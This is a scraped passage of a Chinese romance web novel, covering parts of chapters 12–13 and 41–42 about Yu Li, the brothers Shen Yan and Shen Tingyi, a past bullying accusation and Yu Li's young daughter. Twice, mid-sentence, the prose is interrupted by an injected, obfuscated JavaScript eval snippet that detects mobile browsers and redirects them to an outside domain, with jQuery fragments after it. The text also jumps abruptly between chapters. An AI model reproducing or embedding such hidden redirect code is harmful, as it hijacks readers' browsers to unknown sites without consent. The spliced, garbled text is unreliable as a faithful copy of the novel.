沈砚不愧是沈砚,几句话就能拿捏喻梨这只落地凤凰的七寸,替她出这恶气。 她不禁得意洋洋地朝喻梨望过去,却发现喻梨在发呆。 喻梨的目光被沈砚左手的沉香木串吸引。 很久之后,喻梨回忆跟喻爸爸的最后的几次见面,彼时,活在象牙塔里的小公主无忧无虑,除了爱情的苦,什么苦都没吃过。 小公主喜欢沈砚,但是沈砚忽然迷恋上一个家境贫寒、气质特殊的女生方苒。 小公主想教训一下方苒,却反而被对方轻易拿捏,成了那个女孩身边的跟屁虫。 饶是如此……她依然迷恋沈砚,总有一天,在方苒身上学到吸引沈砚的方法,她一定再抢回沈砚,小公主暗暗发誓。 周末,那是个很阴沉的天气,喻爸爸心事重重的带着同样闷闷不乐的女儿去了郊外寺庙。 爸爸跟那里的一位大师熟稔,两个人在厢房里聊了很久就的天,喻爸爸出来后脸色丝毫不见轻松,回程路上给女儿白皙的手腕上戴了一串珠串。 后来回忆,大约当时,男人已经料到自己的结局,于是用另一种方式保护女儿。 “开过光的,保平安,不要摘下来。”男人抚摸着不懂事的头,轻轻说。 “真的能保平安吗?”小公主很是怀疑。 “真的。”喻爸爸看着天真的女儿,笑了,又忍不住叹气。 这串沉香串最终被不懂事的喻梨送给沈砚,这份礼物,沈砚却看都没看就拒绝了,喻梨后来辗转找到方苒,代替自己将它送出去。 “能保平安的。”看见沈砚戴在手腕上时,喻梨偷偷高兴的跟自己说,“原来沈砚被绑架过,难怪忽然变了性格,所以谁送的不重要,沈砚戴在手上最重要。” 沈砚平安最重要。 后来,这串沉香珠串被沈砚作为初恋女友的遗物,戴在腕间,从未摘下。 被人传出天价,但只有喻梨知道,只有喻梨知道,一串普通的开过光的沉香珠串而已,并没有传说中那样高不可攀。 每次,每一次被沈砚欺负地狠的时候,喻梨就强迫自己看一眼它。 光是看一眼,就能提醒自己,沈砚是个多么彻头彻尾的蠢货、白痴! 想到这里,喻梨不禁站直了身体,眼底那丝颤抖与害怕已经退怯,只是迎上沈砚的目光:“捡起来就可以吗?沈先生就不计较了吗?” 沈砚随手灭了烟头,他其实没什么烟瘾,叠着腿有些懒散地说:“那要看喻小姐什么时候找到了,太久的话,我可能也没什么耐性。” 偌大的泳池,要翻找一块小小打火机,当然不容易。 沈砚话刚落,穿晚礼服的沈清大约听到消息,已经从宴会厅赶来:“胡闹!阿砚,你闹得太过了!”又准备安慰喻梨,“小梨子,你不用管……” 喻梨已经跳下去,她入水很快,简直称得上姿态矫健。 沈清是沈清,沈砚是沈砚。 沈清介绍的项目,沈砚要随手弄出点幺蛾子,太容易了,都不用他亲自动手,多得是人替他做。 她公司庙小,开罪不起沈砚。 如果找到打火机是唯一的方法,那就找。 恒温水池,不知道什么时候,被人调低了温度。 池水逐渐变得冰冷 喻梨在潜水区找了一圈,没有发现那枚金属打火机,池水里光线太暗了。 绝大部分宾客依然被宴会内的许志恒好生安置,但陆续,有宾客得到消息,开始围观这场闹剧,比如南佳音,比如四处寻找沈砚踪影的蒋静姝,比如沈廷屹。 一无所获的喻梨从水底钻出来,宽敞的池面把她身形衬得更小,他看了一眼躺椅上一动不动的沈砚,以此来判断打火机可能会被丢掷的范围。 “佳音,你先带顾小姐去换件衣服。”沈清看到南佳音,吩咐道,又担心地往向水里的喻梨,“喻梨,你别找了,上来。” 喻梨整个人当然湿透了,看起来也冻得不行,圆润的肩膀微微颤抖,但依旧在努力动脑子划分打火机可能被丢掷的区域,往泳池的更深处游去。 岸边赶来的沈廷屹皱眉,也叫了一声:“喻梨。” 喻梨谁都没理会。 沈砚似乎觉得没意思,意兴阑珊地抬手掸了掸腿上烟灰,从躺椅上站起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14640700|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬腿要离开,不知道什么时候站在他身旁的蒋静姝立刻要跟上。 泳池里却‘噗通’响起另一道水声,沈砚回头,发现沈廷屹的西装丢在岸边,就那么直直得跳入泳池里。 泳池比想象地冷,但沈廷屹快速得游到喻梨身边,沈廷屹拽住她手臂,不容置疑道:“你先上去,我来找,你上去。” 喻梨摇了摇头,固执的:“我快找到了。”又钻入水底。 沈廷屹没办法,只能也跟着往地下找,只盼望能快速找到。 两个人就那么旁若无人的找起打火机。 沈砚从沈廷屹下水开始,就没动过,蒋静姝偷偷去看他神色,发现他隐匿在暗色里的半张脸有些僵硬。 约莫四五分钟后,喻梨终于摸着一只金属质地的打火机飘起来:“找到了。” 然后她看一眼岸边站立成雕塑的沈砚,朝距离他最近的地方游过去。 喻梨站立在沈砚面前时,浑身湿淋淋的,但她似乎浑然不觉,只是把打火机递给他,见他没动,还强硬地抓住他袖口,塞进他掌心里,有些讨好的,笑眯眯地质问:“沈先生,您现在高兴吗?” 她明明在笑,蒋静姝却觉得她浑身每一根毛孔都在哭泣。 沈砚看着她,冰冷着一张俊脸,当然时看不见半丝高兴的:“喻梨,有些教训你是不是永远都吃不够!”说着,随手将打火机扔进了旁边花丛,携姜静姝转身离去。 喻梨强制自己将目光放在他手腕的珠串上,仿佛只要想一想沈砚的蠢,那他投掷给自己的再多羞辱,就都显得轻飘飘的,无足轻重了。 沈家夜色依旧奢靡。 沈清找人带她去客房擦拭,准备热姜茶,以及干净的衣衫。 换好衣服的沈廷屹找过来时,沙发上那件干净的衣服动都没动,茶几上也只剩半杯热腾腾的姜茶。 沈家今晚宾客太多,佣人忙不过来,没有人发现喻梨离开了。 沈廷屹跑到停车场,看见正在按车锁的喻梨。 她浑身依旧很湿,只是发丝没有滴水的湿,正准备坐进车里。 沈廷屹一把拽住她,忍不住火大:“你到底在干什么,为什么不把自己弄干了再走,喻梨,你在跟谁赌气?” “跟我自己。”喻梨说,目光暗淡,没有焦点,仿佛自言自语,“我每次都跟自己说够了,喻梨,犯傻犯够了,你已经付出很大的代价了,学着聪明点,但是我总是会犯同样的错误,笨蛋白痴。” 沈廷屹听她这样说,喉结滚动了一下,看她狼狈又因为发冷而憔悴的脸,还是心软,只想给她一个拥抱:“好了,今晚的事不是你的错,用不着反省。” 喻梨知道,自己说的,跟沈廷屹想的,并不是一回事,但她很奇怪,没有接受沈廷屹的拥抱,反而迷惘问道:“你不讨厌我吗,沈廷屹,我害死过人。” 沈廷屹深深的看着她,那时的目光喻梨不大懂,后来懂了,但喻梨已经错过,沈廷屹轻轻地说:“不讨厌,我相信,很多事,不是你的错。” 喻梨就有点想哭。 她刚才忍了很久没哭,但是沈廷屹这样说的时候,她就很想哭,她其实并不是很能忍的性格,于是放任自己把整张脸蹭进沈廷屹胸口,肆无忌惮的,不知收敛的掉泪。 那是迟到了很久的眼泪,在很多年前被人指摘是凶手的时候,没有人安慰过她‘我相信,很多事,不是你的错’这种话,甚至有段时间,她也很迷惘,怀疑究竟是不是自己‘霸凌’了方苒。 但是原来世界上真的有人会无条件的相信,不是她的错,她并没有错啊…… 13. 第 13 章 沈廷屹开喻梨那辆车将她送回去。 车内暖气开到最大,沈廷屹干净的外套也裹在了喻梨身上。 哭累的的喻梨在那种温暖里跟他絮叨,她说:“沈廷屹,我以前怎么没发现你是个暖男,我最近好像每次遇到倒霉的时刻,都能第一时间碰到你,我都不知道自己是倒霉还是运气好了。” 她说:“沈廷屹,你妈妈对你好吗,一如既往得好吗,我今天看到徐凤芝,很想问问她,她以前挺疼我的,为什么再婚也忽然也变了,她是不是后悔生我了,我最近好迷惘,好想问问她,怀我的时候是什么心情,她有期待我的出生吗?” “我想我爸了,沈廷屹,我特别想他。我知道他做了很多错事,害了很多人,但是他是我爸爸,最疼我的爸爸,这个世界上所有人都可以背刺他,只有我不可以。” “我要赚好多好多钱,沈廷屹,我要赚很多钱,这样等我爸爸出来的时候,我就能像当初他养我一样,给他舒舒服服的养老,像小时候把我宠成小公主,我会把他养成最帅气的俏老头,他在里面一定过得很苦,可我每次去看他,他都说他很好,叫我不要担心他……” 听着听着,沈廷屹就听不清楚喻梨在说什么,他一边开车,一边探到喻梨额头,发现她果然在发烧。 沈廷屹只好将喻梨送去医院。 有认识的女同事值夜班,沈廷屹又拜托人家帮忙给她换干净的睡衣。 “沈医生,根据这位女士在我院的病例,目前不敢给她下重药,她好像……是妊娠初期,只能先物理降温试试。”急诊室的值班同事是为女同事,看他的目光终究与平日不同,毕竟这位在医院炙手可热,作风朗正的沈医生可是送了以为怀孕的女士来的医院。 沈廷屹身体微微僵硬,但还是点了一下头。 女同事又试探着问:“她今晚的情况,有家属在比较好一点,您看是请个护工帮……” 还没等她说完,被沈廷屹淡淡打断:“我陪着。” 女同事顿时有种发现了了不起秘密的兴奋,又有对天下帅哥一般黑的彻底失望:“行,我给她开点儿药。” 一些公立医院,也会有供应某些特别患者的VIP独立病房。 拿了药的沈廷屹推开独立病房的门,年轻的女护士正在帮喻梨擦拭身体。 沈廷屹接过来说:“我来吧。” 护士好奇地看她一眼,又看一眼床上发烧的病人,还是客气的:“那沈医生,您随时有需要的话,按铃。” 沈廷屹嗯了一声。 喻梨的全身都被人擦了一边,头发也被吹干,脸没有刚才烧得那样通红,但依旧带着高温的病态。 沈廷屹的心里并没有表面上的平静,胸口涌起的暴戾让她想将床上的女人摇醒,质问她为什么这么不爱惜自己,为什么要把自己搞到这个地步,为什么要跟一个渣男上床! 但沈廷屹忍住了,什么都没有做,只是抬手,轻轻将护士未做完的工作做了一遍,仔细擦拭喻梨的手心,又往她额头换了一只冰袋。 做这些的时候,沈二太太给他打电话,责问他为什么不送季明珠回家。 沈廷屹掖了掖喻梨的被角,语气平淡:“不乐意,没兴趣。” “你这算什么回答,廷屹,妈妈有没有教导过你,对女孩子要绅士一点。”沈太太被儿子气到了。 沈廷屹的手指碰到喻梨的脸,她脸上的温度没有褪去,一直保持一种不正常的高温,肌肤却异常柔滑,沈廷屹没忍住,指腹微微刮了刮。 暗夜,内心滋生一些阴暗又扭曲的想法,沈廷屹面无表情地想,就是因为以前太绅士了,所以看到她有男友的时候,才会克制住没有去打扰她,否则,怎么可能让她不爱惜自己到这个地步! 喻梨醒的第一件事,是处理许氏蛋糕店周年庆活动现场的布置。 但,她浑身酸软无力,沈廷屹特意交代不准她出院,喻梨被迫只能遥控指挥现场,鲜花的摆放位置,展台的设计是否美观和谐,以及活动流程的细节,大大小小,她都亲自过问。 沈廷屹穿着白大褂进来时,喻梨正在给小尤通电话,吩咐对方帮自己去家里取一些衣物。 喻梨看一眼拧着食物的沈廷屹,跟小尤飞速说完就挂断电话,然后抬头冲沈廷屹露出微笑:“昨晚谢谢你,沈廷屹。如果我有说一些莫名其妙的话,是我烧糊涂了,如果又不小心做一些莫名其妙的事,那肯定是因为你最近表现得太和善,你知道的,我这个人擅长顺竿爬,别人对我稍微好一点,我就找不着北,要是因此导致你的正在发展的任何对象产生误会,我愿意全方位配合你解释,争取不让你下辈子单身。” 沈廷屹将吃食放在台桌上,闻言脸色没什么波动:“听说你一醒,就闹着要出院,又处理各种工作,难为你没吃东西能一口气说这么多,脑子过了多少遍了?” 喻梨就噎了一下,总觉得沈廷屹不咸不淡的口吻,显得她一通长篇解释,十分多余,便握着手机,有种哑口无言的茫然。 沈廷屹见她发懵,扯了下唇角:“先吃点东西。” “喔。”喻梨接过他递来的勺子。 喻梨嘴巴挑剔,但沈廷屹带来的蔬菜粥熬得浓稠,配的小菜也十分爽口,对于一个病人来说,算得上是美味。 她吃得浑身暖洋洋,忽然想起什么:“”对了,微信,你扫我一下,我待会儿把医药费转给你” 沈廷屹挑了一下眉,但没多说什么,从兜里掏出手机,扫了她二维码,喻梨立刻点击通过。 沈廷屹的头像是只猫,喻梨觉得挺可爱的,问他:“你养猫啦?” “嗯。” 喻梨就笑着说:“沈医生爱心满满。你现在在我心里,简直是一个大暖男。” 沈廷屹没搭理她,只将旁边一袋药递过去,提醒:“知道怎么服用吗?“说着,拆开药盒,一一列举,“这盒,一次一颗,这个一次半颗,不要吃错了,你目前特殊时期,用药量要严格控制。”他说特殊时期四个字时,语气里带着某种冷硬。 喻梨愣了一下,没接,只是说了句:“”没关系,反正我已经预约好手术。” 被沈廷屹黑白分明的眼睛盯着,喻梨就故作轻松的解释道:“”我跟专家谈过了,我这种情况没有想象悲观,现在国内保胎技术也很先进,打掉的话,也不一定会影响以后生育。” 沈廷屹收回投掷在她身上的视线,窗外阳光把他清隽的五官映出一种半透明的圣洁感,想了想才说:“约的哪家医院?什么时候做?” 喻梨就报了一家医院的名字和时间。 沈廷屹淡淡道:“”知道了,你吃完药好好休息。” 沈廷屹推门出去,走回儿科诊室时,手机震动了一下,是条消息,上面写着:10点30的飞机,已经办妥,您放心。 沈廷屹微微呼出一口气,偏头往窗外看了一眼,阳光明媚,万物生机,是个不错的好天气。 于此同时,喻梨的手机里出现姜北充满怨气的短信:“喻梨,你够狠,咱们来日方长!” 喻梨莫名其妙。 小尤带来衣服,喻梨换好后,还是没听沈廷屹的话,好好休息,马不停蹄赶往活动布置现场。 许家这场周年庆,是目前喻梨公司接到的最大活动项目,除了主活动会场之外,同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14640701|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有好几个分会场,喻梨都一一去现场确认,确保第二天的正式活动不会出现问题。 约莫晚上9点多,喻梨还在一家分会场的商场内,小尤给她买了矿泉水和简单的三明治,提醒她吃完后,记得吃药。 同事们熬夜加班,喻梨让小尤定了商场负一层的一家烤鱼当宵夜,一行人下扶梯时,喻梨忽然被人叫住。 “喻梨?” 喻梨回头,赵可宁穿着商场某家店的制服,看她的目光阴郁、探究、兴味、像暗夜里的蝙蝠,捕捉到赖以生存的食物。 喻梨被她目光看得不舒服,年少时期,小公主身边总是围绕着很多女生,贵族学校有独特的生存链,小公主在生存链的顶端,周围总是有些跟她混在一起,讨好她,逢迎她,捧她臭脚,带她体验新奇玩意儿,小公主以为那些是朋友。 但,事情发生时,这些‘朋友’纷纷作证,方苒从楼上跳下,是因为遭受以喻梨为代表的霸凌,她们充其量,只能算服从者。 “真的是你。”赵可宁将她从头到脚打量一遍,看见她浑身的名牌,被她穿得随意妥帖,露出一丝不甘心和不可思议。 “你们先去吃饭,我反正也吃不了辣,吃完各自下班。”喻梨回头跟同事们交代了一句。 喻梨也很好奇,赵可宁家里以前开厂的,为什么现在混到在商场做导购。 “为什么?”露天烧烤店里,赵可宁手指里夹烟头,吐出一个烟圈儿,“喻梨,你命还真是好啊,你不知道方苒那个小婊子跳下去以后,沈砚疯了一样搞我们吗,我们家被他搞破产了。不止我,曲淼,沈娇娇全部都被他搞,哦,也对……听说你出国留学了。怎么,沈砚居然没有搞你吗?” 喻梨垂眸,想起昨晚沈砚的羞辱,滋味也并不好受,她摩挲了一下手里的柠檬水,没接话,反而问:“比起这些,我更想问问,当年,为什么,你们全都作证,是我霸凌的方苒?” 赵可宁又吸了一口烟,眼睛里划过一丝不自在:“你现在装什么无辜,不是你,还有谁,方苒那个小婊子,当初跟你抢沈砚,还偷你钱,你不喜欢她,我们替你收拾,有什么不对吗?” 喻梨有点懵:“方苒偷我的钱?” 赵可宁点第二支烟,打开烟盒的时候示意喻梨:“要不要?” 喻梨摇头。 赵可宁就自顾点了一支说:“你第一次抽烟还是我教的吧,你那会儿真傻,人傻钱多,我们私下里叫你公共钱包,但我们都只是借,顶多不还,方苒那是偷,直接从你书包里拿,怎么,你居然从来没发现?” 喻梨忽然发现,自己对方苒,更多了一层迷雾,记忆中的女孩正在跟记忆背道而驰。 “自杀?我不相信那个小婊子会自杀!”赵可宁眯了眯眼,像是陷入某种回忆,她脸上带着劣质妆容,缭绕的烟雾里,看起来有种恐怖感,“但是她死了,害了我们一圈的人!” 喻梨结完账,赵可宁加她微信,喻梨只犹豫了一秒,赵可宁就讽刺她:“怎么,现在有钱了,不交我们这种没利益价值的老朋友,喻梨,你怎么知道你没有用得到我的时候?” 喻梨就扫了她二维码。 “老朋友,你现在这么有钱,帮忙打个车没问题吧?”赵可宁嚼着饭店送的薄荷糖,继续提要求。 喻梨看她一眼,帮她打了一辆专车。 她快上车时,沉默的喻梨才忽然又问:“所以,赵可宁,霸凌是存在的,方苒,真的遭受过那些,以我的名义?” 赵可宁乐了:“小公主,我可真羡慕你的天真。保持联系,我会告诉你答案的。”说完,推开车门。 喻梨眉头紧锁。 40-50 第41章 第41章沈砚听到有人喊:“星星…… 喻梨好不容易把星星抱回家。 孙阿姨正在厨房做饭,见母女俩回来,赶忙接过星星,“星星,咱们先去洗手手哦。” 喻星乖乖点头,喻梨坤了坤脖颈,将包扔在沙发上,累得动都不想动。 纪欣瑜打电话过来问她事情处理得怎么样。 喻梨揉着肩膀回答:“还在等检查结果,医院那边排除食物过敏,因为测不出过敏原,目前消费者同意将产品拿出来检测,如果真的是产品问题,事情就大了。” “这个品牌我们合作一年多了,从来没出过问题,应该不可能是产品问题,你跟他们品牌代表谈过没有?” “谈过,他们很有信心做产品检测,不像是产品问题,但是我担心发货那边,会不会有人动手脚?” “你是说他们品牌内部私底下可能有问题?” “不排除这个可能,先等样品检测结果。”喻梨累得不想多说话,为了快速解决问题,她一大早赶过去,结果还是没赶上星星的初次舞台。 挂完电话,星星过来提醒她:“妈妈,吃饭了。” 喻梨冲她长开怀抱,撒娇:“要星星先给妈妈充电。” 星星想了想,爬到她怀里,吧唧亲她一口:“妈妈你电充满了吗?” “还有这边。”喻梨把另一边脸蛋伸过去。 喻星‘啵’得又亲她一口,然后眨巴着她洋娃娃一样的眼睛问她:“这次充满了吗?” 喻梨满意极了,一把抱起女儿:“满了,妈妈现在电满到可以把星星举高高。”说着,撑着力气把女儿举到天花板。 星星喜欢待在高处,离天花板越近越开心,被喻梨逗得咯咯笑,然后被安置在自己凳子上。 孙阿姨跟她们一块儿吃饭,家里人少,喻梨没那么多讲究,喻星已经在幼儿园吃过,晚餐就随意几口,更多的是趴在凳子上看妈妈吃饭。 喻梨太忙,直播平台经常需要熬夜,通常凌晨回来,星星已经睡下。 吃完饭,喻梨问她想不想去隔壁找果果哥哥玩。 喻星头摇得像拨浪鼓,抱着她的洋娃娃,黏在喻梨书房。 喻梨给她磁力片让她在软垫上自己玩,抓紧处理了会儿运营部的文件,又看了一眼这几天的直播数据,护肤品虽然已经紧急下架,但是这两天的直播间的其他数据依然受到影响。 桌上手机震动。 隔壁果果妈妈给她发消息。 【星星班主任找你谈话了?】 【没有,怎么?】 【下午的事我听说了,你们小班的事,都传到我们中班群里了,你最近注意点儿,我怕你被家委会那几个家长盯上。】 【我明天送星星去幼儿园,跟老师谈谈】 说到这里,喻梨忍不住看了一眼地上的女儿。 “妈妈,你快看我堆的城堡。” 喻梨赶紧走过去,陪在女儿身边:“星星真棒,城堡垒得比妈妈的还要高。” “妈妈,你工作忙完了吗?” 喻梨微微怔愣,点头。 “那妈妈今晚可以给我讲故事吗?”喻星一脸期待得望着她。 喻梨摸了摸女儿的头:“当然可以,还要陪星星睡觉。走,咱们洗澡去!”一把抱起女儿。 星星顿时高兴得要命,出去时跟还在打扫的孙奶奶炫耀:“我今晚跟妈妈睡。” 孙阿姨很宠她,一般都是她晚上跟孩子讲故事睡觉,偶尔半夜喻梨下班回家,还能碰见孙阿姨起夜去星星房间,看她有没有踢被子。 “行,你跟妈妈睡。”孙阿姨笑笑。 洗完澡,喻梨给她擦儿童乳,小女孩一脸享受:“妈妈,我现在是香喷喷的小猪了吗?” 喻梨挠她咯吱窝:“嗯,你是香喷喷的小猪,我是大老虎,大老虎要来吃小猪啦!” 小姑娘笑嘻嘻往床里面躲,扭头起来,在大床上又蹦又跳。 等喻梨跟她讲过年的故事,小姑娘又开启十万个为什么。 “妈妈,年兽凶吗?比老虎还凶吗?” “不凶,年兽怕鞭炮,怕红色,所以等过年,我们就穿红衣服去放鞭炮。” “把年兽吓跑!嘻嘻……” “对,把年兽吓跑……” 说到这里,喻梨想起下午的事:“今天舞台表演,星星是不是也穿得红色?” 小女孩顿时不说话了,还学会转移话题,拽着她衣领:“妈妈,我还要听你讲年兽……” 喻梨阖上故事书,对上星星的眼睛:“妈妈还没有跟星星道歉,今天星星第一次上台表演,但是妈妈都没有看到,对不起啊星星。” 小姑娘眼睛立刻红红的,鼓着肉嘟嘟的脸颊,不吭气。 “对不起,星星,妈妈争取以后答应你的事都做到。”喻梨亲亲她额头。 小姑娘眼底的那泡泪立刻就掉出来,抽抽噎噎了一会儿,才抱住喻梨的脖子,奶声奶气:“没关系,我原谅妈妈,妈妈说过,大人有时候也有做不到的事。” 喻梨心底顿时软得不像话,又忍不住酸溜溜的。 星星才三岁多,已经被迫开始接受不完美的家庭和一个不完美的妈妈。 喻梨忍不住亲了亲女儿白嫩嫩的脖子。 星星像是觉得痒,又哭又笑了,隔了会儿,闷在她怀里:“妈妈,我不想跟茉莉道歉。” “不想道歉就不道歉。” 小姑娘一下子心满意足,搂着喻梨的脖子,沉沉睡去。 隔天,喻梨送喻星和姜果果一块儿上学。 果果妈妈是一家律所的高级合伙人,平时也非常忙碌,半年前跟丈夫彻底离婚,变成跟喻梨一样的单亲妈妈,因为姜果果平时特别维护小喻星,喻梨跟她妈妈许英也熟悉了,彼此偶尔工作忙不过来时,会把孩子交给对方照顾。 车库里,许英手上抱着一叠文件,着急忙慌的将儿子推上喻梨的车,刚准备走,又倒回来:“周天你忙的话,把你们家星星借给我,我表妹结婚,缺个女花童,刚好星星跟果果顶上,我带他俩玩一整天。” 喻梨回头看一眼儿童座椅上的喻星,果果正把自己的的早餐分享给她,小姑娘特别矜持地接过来,冲人家笑。 “星星怕生,人太多的话,我怕她露怯,回头我问问她。” “行,你放心吧,跟果果一块儿,星星不会怯生的。”说完,许英急匆匆的按下车锁,去见客户。 bbs幼儿园几乎每天的八点,都陆陆续续开始涌现无数豪车。 幼儿园对面还有一栋老别墅豪宅,有几个家委会成员的年轻妈妈们直接从豪宅对面,带着孩子过个马路就到,根本不像喻梨还要去找临停的车位。 喻梨看了一眼别墅区,别墅区环境不错,周围教育资源也非常好,从幼儿园到高中都覆盖,且都属于南城顶尖的教育资源,孙阿姨偶尔送孩子上学,有时候打不到车,还容易迟到,喻梨有考虑将家搬到别墅区,但目前里面没有出售的房源。 喻梨正想着,已经撞上从马路对面过 来的几位家委会的妈妈们的。 “星星妈妈,今天有空送星星上学?”茉莉妈妈走在最前面,一手挎着她显眼的荔枝纹铂金包,一手牵着胖乎乎的女儿。 喻梨点头,又微笑跟茉莉打招呼:“莉莉,早上好呀。” “阿姨早上好,星星早上好,果果哥哥早上好。”茉莉抱着妈妈的腿,有点羞怯似的,看了牵着星星手的果果一眼。 茉莉妈妈牵着女儿继续往幼儿园走:“星星妈妈今天是专门来处理昨天的事吗,说起来,昨天大家都在等你,幼儿园这么重要的活动,你都缺席,会不会不太合适?” “的确不合适,已经跟星星道歉了,她也原谅我。”喻梨说。 茉莉妈妈就仿佛被噎了一下,有些意味深长道:“看得出星星家教很好,那你有没有提醒星星,大人做错事需要道歉,小朋友之间的道歉也很重要。” 星星一只手被妈妈牵着,一只手被果果哥哥牵着,这会儿听大人们说话提到自己,有些敏感地抬头望了望喻梨。 喻梨就弯腰对果果说:“果果,你带星星先进去好吗?” “好。”果果跟星星一般高,重重点头,又对星星说,“走,我们进去。” 茉莉看见了,也大胆地跑上去,拽住果果的手:“我也要一起。” 三个孩子高高兴兴地进去了,喻梨看了一眼,才偏头对茉莉妈妈道:“昨天舞台的视频我看了,星星确实不该硬从莉莉手上抢东西,莉莉捡走的也确实是星星的那面旗帜,我们大人在这里,争对错,但小朋友之间,没那么多弯弯绕绕,星星跟莉莉玩得开心就好,你说呢?” 茉莉妈妈笑了:“幼儿园不仅仅是教会小朋友开心的地方,否则送哪里不好,我非要挤破头过关斩将为孩子选择最好且要求最高的国际幼儿园。星星妈妈,我记得进校之前,有孩子跟家长的面试,BBS是很少接受单亲家庭的孩子的,虽然我不知道你跟星星的面试是怎么通过的,但一学期都快结束了,好像从来没看见过星星爸爸吧?” 喻梨瞳孔微微一缩。 见孩子已经顺利入校,茉莉妈妈转身走了。 喻梨进去跟班主任沟通了一会儿昨天的事,大意表达了星星对昨天的事情很敏感,目前不想跟茉莉道歉,希望老师这几天能暂时不提起这件事,她会跟孩子慢慢做思想工作。 班主任素质很高,也能理解喻梨的想法,承诺会尽量调停涉事家长那边,以宝贝们的和谐健康为主。 但去公司的路上,喻梨想起茉莉妈妈的话,依然觉得憋屈,抽空跟许英吐槽。 【BSS家委会那边对单亲家长的恶意真的很大,张口闭口就是单亲家庭孩子心理存在一定残缺,影响孩子身心健康那套,我跟果果爸爸离婚的时候,你都不知道家委会那边有多势力眼,总之,你能瞒就瞒,别跟她们硬碰硬,幼儿园也就三年,忍忍就过去了。】 【不仅对单亲家庭,她们对全职妈妈也很意见很大,什么孩子成长的黄金期就那么几年,全职妈妈无法全方位照顾孩子,我们全职妈妈招谁惹谁了,还成了她们鄙视链的最底层,卧槽,都是那几个全职太太闲着没屁事搞出来的,我真是受够了!】 许英一提起这些,就一肚子怨气,忍不住爆粗口。 喻梨跟她同仇敌忾,陪着一块儿吐槽了几句,没那么憋屈了。 周末,许英一大早带走两个小屁孩,说是要提前去现场彩排。 “我表妹今年才26岁,嫁的老公整整大她两轮,不过挺神秘的,听说是京圈的老钱,挺低调的,婚礼地点也不张扬,是自家庄园,我就带孩子们玩玩,下午早点把星星给你送回来。”许英一边开车,一边跟她通电话。 喻梨也快到公司了,说了声:“那就麻烦你多费点心。”就挂断了。 午间。 南城郊区庄园。 沈砚下车时,扣上西服外套,他肩宽腿长,三件套式的西服显然经过精心打理,被熨烫得一丝不苟,裁剪合身,衬得他面容冷肃,气质内敛。 助理周扬小声说:“这是吴董的第四段婚姻,他每离一次婚,涉及到星耀的股份就稀释一点出去,据说每次结婚,从来不签订婚前协议。” “你欣赏他?”沈砚偏头,不咸不淡地偏头看他一眼。 “不是……我的意思是从这一点看,吴董算对的起他重情重义的名声,跟这种人合作,咱们诚意得足,怪不得您亲自飞过来参加他婚礼。” 沈砚牵了牵唇角:“这点人情确实得做。” 冬日暖阳和煦。 沈砚在签到台签完名字,迈着长腿往庄园内搭好的草坪中央走。 婚礼现场布置得温馨奢靡。 不知道哪里单独跑出来的小孩儿,忽然撞到他腿上。 沈砚听到有人喊:“星星。” 第42章 第42章原来再见面,那些所谓的…… 星星穿着公主裙,撞到男人硬邦邦的大腿,太硬了,弹了一下,吧唧磕草地上了。 沈砚搀扶起她,又弯腰检查她:“小朋友,有没有觉得哪里疼?” 星星一眨不眨望着面前好看的叔叔,摇了摇头。 许英赶过来,温柔跟她说:“星星,刚才不是彩排过吗,跟着果果哥哥做就可以了,不怕的,嗯?” 喻星本来彩排时还表现得挺好,就是帮新娘牵着裙摆,但随着客人越来越多,她有点害羞,不肯再上台。 许英跟她说话,她就抱着沈砚的腿,往他后面躲。 许英又好气又好笑:“星星,你认识这个叔叔妈?” 沈砚也没碰到过这种情况,他严肃冷峻惯了,连上一年级的侄子许佑都渐渐怕他,在他跟前比在许志恒跟前还规规矩矩,但对于小孩子,总是多了几分耐心的,忍不住侧头往躲在身后的小姑娘看去,小女孩听了许英的话,也正抬头望着他,黑白分明的眼睛,睫毛纤长卷翘,能望进人心里去…… 沈砚愣了愣,忽然有种熟悉的感觉。 大概终于意思到这是个陌生的叔叔,星星软乎乎的小手放开他裤腿。 许英牵起她手,对沈砚说:“抱歉,孩子害羞,打扰您了。”许英刚转完一圈,已经隐约发现今日的宾客简直卧虎藏龙,甚至还有自己合作的甲方董事,这会儿见沈砚的气质,也绝非普通人可以比拟,说话自觉带上几分客气。 沈砚摆手,表示无碍,便抬腿往主家方向走。 走到一半他脚步微顿,似乎终于想起小女孩的眼神,令他想起弟弟廷屹。 忍不住回头看了一眼,草坪上,小姑娘正被女人牵着,不说话的时候显出区别于其他小朋友的安静沉默,但等有个个头跟他一般大的小男孩过来,递给她一只棉花糖时,小姑娘立刻笑起来,露出一颗可爱的小虎牙。 廷屹小时候也这样,因为老是生病,不太喜欢跟周围的小朋友玩,只肯跟在沈砚身后,用一双干净清澈又黏人的目光望着他。 沈砚难得被其他事情分心,周扬忍不住提醒他:“站在吴董身边的是凯恩科技的edric。” 沈砚收回视线,看见不远处正在跟新郎聊天的英国佬edric,微微蹙眉。 沈砚还没走到,西装笔挺的吴邺一眼看见他,几步客气地迎上来,同他握手:“沈总大驾光临,欢迎欢迎。” 沈砚绽开商务礼节性微笑,跟对方寒暄,说了几句恭喜吴总新婚快乐,百年好合之类的。 吴邺哈哈大笑:“沈总也得加油啊,什么时候才能喝上你的喜酒?要不然在南城找找看,这可是个好地方!” “的确人杰地灵。”沈砚其实不太适应南城潮湿的气候,但吴邺新婚太太是南城人,客气是必要的。 